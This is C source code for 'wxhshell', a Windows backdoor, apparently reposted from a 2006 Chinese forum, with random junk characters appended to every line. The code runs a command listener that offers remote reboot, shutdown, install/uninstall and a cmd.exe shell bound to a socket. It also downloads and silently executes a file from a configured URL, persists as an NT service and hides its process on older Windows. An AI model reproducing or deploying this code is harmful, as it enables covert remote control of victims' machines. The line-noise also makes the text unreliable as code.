  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t"=5MaQk-  
  } h"FI]jK|}  
  else { fi?4!h  
k:0j;\Sx  
    switch(cmd[0]) { zWY988fX0  
  C`5'5/-.  
  // 帮助 yl[I'fX66  
  case '?': { Ss[[V(-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,i:?c  
    break; !XPjRdq  
  } W[2]$TwT  
  // 安装 Xa[k=qFo  
  case 'i': { =j.TDv'^nd  
    if(Install()) t3<MoDe7`r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sz9W}&(j  
    else bzr2Zj{4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,s8/6n#  
    break; " U\RN  
    } UtQj<18<  
  // 卸载 )/RG-L  
  case 'r': { 4'QX1p  
    if(Uninstall()) uw;Sfx,s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VF`!ks  
    else fyQOF ItM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (b25g!  
    break; sN41Bz$q.  
    } a?[[F{X9^  
  // 显示 wxhshell 所在路径 Iz0$T.T  
  case 'p': { 8(1*,CJQg  
    char svExeFile[MAX_PATH]; sfF~k-  
    strcpy(svExeFile,"\n\r"); ~I|| "$R  
      strcat(svExeFile,ExeFile); @KQ>DBWQM  
        send(wsh,svExeFile,strlen(svExeFile),0); EI_-5TtRD  
    break; 1 Pk+zBJ$  
    } ~P3b5 -  
  // 重启 sT^R0Q'>  
  case 'b': { MK1\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k]m ~DVS  
    if(Boot(REBOOT)) P$E iD+5#z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jVff@)_S  
    else { Kg%9&l  
    closesocket(wsh); P:{Aq n~zR  
    ExitThread(0); WvfP9(-  
    } =B}IsBn'J  
    break; ng}C$d . I  
    } K_YrdA)6  
  // 关机 9$)&b\D  
  case 'd': { JL M Xkcc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =gVMt  
    if(Boot(SHUTDOWN)) jQ{ @ol}n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BUXE s0]Lv  
    else { q T6y&  
    closesocket(wsh); /.]u%;%r[  
    ExitThread(0);  2%@tnk|@  
    } ajSB3}PN  
    break; M@[W"f Wq  
    } 6KddHyFz  
  // 获取shell Ci`o;KVj  
  case 's': { DNGyEC  
    CmdShell(wsh); O#)1 zD}  
    closesocket(wsh); AjK5x@\  
    ExitThread(0); Ohm{m^VD"  
    break; | 6{JINW  
  } {H)7K.hQN  
  // 退出 >7W)iwF  
  case 'x': { p%DU1+SA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sxT&T=7  
    CloseIt(wsh); o `YBz~2  
    break; '{ <RX  
    } x?S86,RW  
  // 离开 FX!KX/OE)  
  case 'q': { ~.T|n =  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w)7y{ya$  
    closesocket(wsh); ;W- A2g  
    WSACleanup(); 2 7)If E  
    exit(1); 505c(+  
    break; mG~k f]Y  
        } "rB B&l  
  } T AG@Ab  
  } wV )\M]@  
Ph^1Ko" 2  
  // 提示信息 u+8"W[ZULq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $gr>Y2i  
} i^DMnvV.  
  } 2M x\D  
riW9l6s'  
  return; J _rrc;F  
} }ny7LQ  
#B\s'j[A"  
// shell模块句柄 2"D4q(@  
int CmdShell(SOCKET sock) k A3K   
{ t oGiG|L  
STARTUPINFO si; w[X-Q+7p(t  
ZeroMemory(&si,sizeof(si)); }u;K<<h:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x,C8):\t`B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LK}g<!o(  
PROCESS_INFORMATION ProcessInfo; 6Z|h>H5 a  
char cmdline[]="cmd"; 3dN`Q:1R9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SJ]6_4=y*  
  return 0; P!79{8  
} (_ G>dP_  
 E0!d c  
// 自身启动模式 |y^=(|eM  
int StartFromService(void) -))S  
{ b-ss^UL  
typedef struct ==Egy:<:Q  
{ '&cH,yc;b  
  DWORD ExitStatus; Ph yIea  
  DWORD PebBaseAddress; 35l%iaj]G5  
  DWORD AffinityMask; N**)8(  
  DWORD BasePriority; `df!-\#  
  ULONG UniqueProcessId; 3CD#OCz7&  
  ULONG InheritedFromUniqueProcessId; yeiIP  
}   PROCESS_BASIC_INFORMATION; Erw1y,mF  
&dtst??  
PROCNTQSIP NtQueryInformationProcess; &|x7T<,)  
\Y!#Y#c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e,|gr"$/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /3M8 ;>@u  
5n?P}kca)  
  HANDLE             hProcess; rfk{$g  
  PROCESS_BASIC_INFORMATION pbi; Q yw@ r  
Y#}qXXZ>]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sT;wHtU  
  if(NULL == hInst ) return 0; Y\9}LgIvr  
pVc+}Wzh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qs\a&Q=0H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q=pRe-{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jJIP $  
N# }A9t  
  if (!NtQueryInformationProcess) return 0; v,iZnANZ&P  
8?iI;(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @ eJ8wf]  
  if(!hProcess) return 0; a,Pw2Gcid  
H$Kc~#=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JlYZ\  
@<P2di  
  CloseHandle(hProcess); n~UI 47  
wH?)ZL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + ,Krq 3P  
if(hProcess==NULL) return 0; 8xENzTR  
^2- <XD)  
HMODULE hMod; WO.u{vW]'  
char procName[255]; VgVDTWs7  
unsigned long cbNeeded; Qa,=  
TVcA%]y{;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E !ndXz 59  
7?yS>(VmT  
  CloseHandle(hProcess); K T0t4XPM  
Go{,< gm  
if(strstr(procName,"services")) return 1; // 以服务启动 fJlNxdVr  
u9~5U9]O%6  
  return 0; // 注册表启动 A1/@KC"&{G  
} :&wb+tV  
xnMcxys~  
// 主模块 y@!M<#SEzG  
int StartWxhshell(LPSTR lpCmdLine) 2{?]W/&fS  
{ ;j%I1k%A  
  SOCKET wsl; b$klm6nMvm  
BOOL val=TRUE; (ODwdN7;  
  int port=0; JwbZ`Z*w  
  struct sockaddr_in door; !p+54w\ 2  
4 -.W~C'Q  
  if(wscfg.ws_autoins) Install(); s $Vv  
by<@\n2B:U  
port=atoi(lpCmdLine); ir<e^a  
"`ftcJUd  
if(port<=0) port=wscfg.ws_port; lQ?jdi  
Wu 0:X*>}p  
  WSADATA data; _Gq6xv\b1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &B&8$X  
}gQ2\6o2g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rq}lW.<r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {3x>kRaKci  
  door.sin_family = AF_INET; l L;5*@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Nbr$G=U  
  door.sin_port = htons(port); Ms|c" ?se  
Qn8xe,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I]C Y>'  
closesocket(wsl); 3aq'JVq   
return 1; 0o+Yjg>\~8  
} o=R(DK# U  
R` < ^/h  
  if(listen(wsl,2) == INVALID_SOCKET) { b;b,t0wS  
closesocket(wsl); >g<Y H'U{  
return 1; n/skDx TE  
} #B5,k|"/,M  
  Wxhshell(wsl); o{y}c->  
  WSACleanup(); Wa|V~PL+T  
d9$RmCHe}  
return 0; J[<Zy^"Y;  
jTR?!Mt0  
} D#LV&4e>.E  
YJv$,Z&;HO  
// 以NT服务方式启动 (|BY<Ac3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d#v@NuO6 h  
{ h&i*=&<HP6  
DWORD   status = 0; yIL=jzm`7  
  DWORD   specificError = 0xfffffff; cuN]}=D  
\I!mzo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JVu j u$k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nmU1xv_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '|4+< #  
  serviceStatus.dwWin32ExitCode     = 0; {[2o  
  serviceStatus.dwServiceSpecificExitCode = 0; WrGA7&!+  
  serviceStatus.dwCheckPoint       = 0; Qel)%|dOn  
  serviceStatus.dwWaitHint       = 0; 6|NH*#s  
?z1v_Jh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Oin9lg-jR  
  if (hServiceStatusHandle==0) return; (j'\h/  
r""rJzFz'  
status = GetLastError(); !uGfS' Vl  
  if (status!=NO_ERROR) I&+.IK_  
{ w&?XsO@0W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nW)+-Wxq  
    serviceStatus.dwCheckPoint       = 0; /i"hViCrlG  
    serviceStatus.dwWaitHint       = 0; &q>8D'  
    serviceStatus.dwWin32ExitCode     = status; e\C-a4[C8P  
    serviceStatus.dwServiceSpecificExitCode = specificError; dQ8RrD=$&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z i6s0Uck  
    return; V8/d27\  
  } -US:a8`  
zz*PAYl.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [8 Pt$5]^  
  serviceStatus.dwCheckPoint       = 0; `r}_92Tt  
  serviceStatus.dwWaitHint       = 0; fc+-/!v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <;Hb7p3N  
} zhw*Bed<  
B!/kC)bF:  
// 处理NT服务事件,比如:启动、停止 =R=V  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  _BP%@o  
{ ^f,4=-  
switch(fdwControl) #tR:W?!  
{ 8Q Try%  
case SERVICE_CONTROL_STOP: ~3:VM_  
  serviceStatus.dwWin32ExitCode = 0; D 5rH6*J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i%9vZ  
  serviceStatus.dwCheckPoint   = 0; )5b_>Uy  
  serviceStatus.dwWaitHint     = 0; Qbv@}[f  
  { =c@hE'{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \< .BN;t{  
  } y[XD=j  
  return; st) is4  
case SERVICE_CONTROL_PAUSE: ]pvHsiI:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MZz9R*_VS  
  break; Rmw=~NP5  
case SERVICE_CONTROL_CONTINUE: ]Uwp\2Bc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "IU}>y>J  
  break; {P6Bfh7CZ  
case SERVICE_CONTROL_INTERROGATE: :Tpf8  
  break; z[f]mU  
}; *W8n8qG%T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #1%@R<`  
} X]y8-}Qf  
7 {92_xRL  
// 标准应用程序主函数 Z)|~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aLg,-@  
{ 4C`RxQJM  
"zq'nV=  
// 获取操作系统版本 )3CM9P'0  
OsIsNt=GetOsVer(); j9k:!|(2'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Vm aB  
L~5f*LE$1  
  // 从命令行安装 3g;Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); d7kE}{,  
/ <(|4e  
  // 下载执行文件 ~3 bV~H#~m  
if(wscfg.ws_downexe) { {Z/iYHv~#c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xgx/ubca0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1e[?}q]*  
} x~5,v5R^]  
^P9mJ:  
if(!OsIsNt) { k\O<pG[U  
// 如果时win9x,隐藏进程并且设置为注册表启动 Kk}, PU=  
HideProc(); ahXcQ9jzFi  
StartWxhshell(lpCmdLine); KRxJ2  
} T)e2IXGN  
else fc~fjtqwvz  
  if(StartFromService()) D]E=0+  
  // 以服务方式启动 6{5T^^x?<  
  StartServiceCtrlDispatcher(DispatchTable); 'yCVB&`b  
else FC+-|1?C  
  // 普通方式启动 Ou1kSG|kM  
  StartWxhshell(lpCmdLine); o*204BGB  
uM$b/3%s  
return 0; Gs~eRcIB  
}
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只看该作者 1 发表于: 2006-10-10
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